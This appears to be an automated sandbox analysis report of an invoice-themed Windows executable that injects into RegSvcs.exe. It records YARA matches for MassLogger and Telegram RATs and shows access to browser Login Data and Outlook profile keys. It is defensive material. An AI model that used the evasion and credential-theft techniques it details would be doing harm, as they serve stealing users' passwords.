Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598370	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596388	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595837	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593859	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2137			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7714			Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.exe

API coverage: 4.8 %

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0070445A
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070C6D1 FindFirstFileW,FindClose,	0_2_0070C6D1
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0070C75C
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0070EF95
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0070F0F2
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0070F3F3
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_007037EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_007037EF
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00703B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00703B12
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_0070BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0070BCBC

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006A49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599120	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598738	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598370	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597811	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596388	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595837	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593859	Jump to behavior

Source: Proforma Invoice.exe, 00000000.00000003.1756810135.0000000001289000.00000004.00000020.00020000.00000000.sdmp, Proforma Invoice.exe, 00000000.00000003.1756962646.0000000001299000.00000004.00000020.00020000.00000000.sdmp, Proforma Invoice.exe, 00000000.00000003.1756922934.0000000001289000.00000004.00000020.00020000.00000000.sdmp, Proforma Invoice.exe, 00000000.00000003.1756810135.000000000126A000.00000004.00000020.00020000.00000000.sdmp, disimmure.0.dr	Binary or memory string: *\|(RqEMUTs\cEVQ
Source: RegSvcs.exe, 00000001.00000002.4215596032.0000000001208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Proforma Invoice.exe	API call chain: ExitProcess graph end node			graph_0-100460
Source: C:\Users\user\Desktop\Proforma Invoice.exe	API call chain: ExitProcess graph end node			graph_0-101439

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 1_2_05697210 LdrInitializeThunk,LdrInitializeThunk,

1_2_05697210

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_00713F09 BlockInput,

0_2_00713F09

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_006A3B3A

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006D5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_006D5A7C

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A4B37 LoadLibraryA,GetProcAddress,

0_2_006A4B37

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_01E53510 mov eax, dword ptr fs:[00000030h]	0_2_01E53510
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_01E534B0 mov eax, dword ptr fs:[00000030h]	0_2_01E534B0
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_01E51E70 mov eax, dword ptr fs:[00000030h]	0_2_01E51E70

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006F80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_006F80A9

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_006CA155
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CA124 SetUnhandledExceptionFilter,		0_2_006CA124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: F7F008

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006F87B1 LogonUserW,

0_2_006F87B1

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_006A3B3A

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_006A48D7

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_00704C7F mouse_event,

0_2_00704C7F

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Proforma Invoice.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006F7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_006F7CAF

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006F874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_006F874B

Source: Proforma Invoice.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Proforma Invoice.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006C862B cpuid

0_2_006C862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006D4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_006D4E87

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006E1E06 GetUserNameW,

0_2_006E1E06

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006D3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_006D3F3A

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006A49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006A49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Proforma Invoice.exe	Binary or memory string: WIN_81
Source: Proforma Invoice.exe	Binary or memory string: WIN_XP
Source: Proforma Invoice.exe	Binary or memory string: WIN_XPe
Source: Proforma Invoice.exe	Binary or memory string: WIN_VISTA
Source: Proforma Invoice.exe	Binary or memory string: WIN_7
Source: Proforma Invoice.exe	Binary or memory string: WIN_8
Source: Proforma Invoice.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
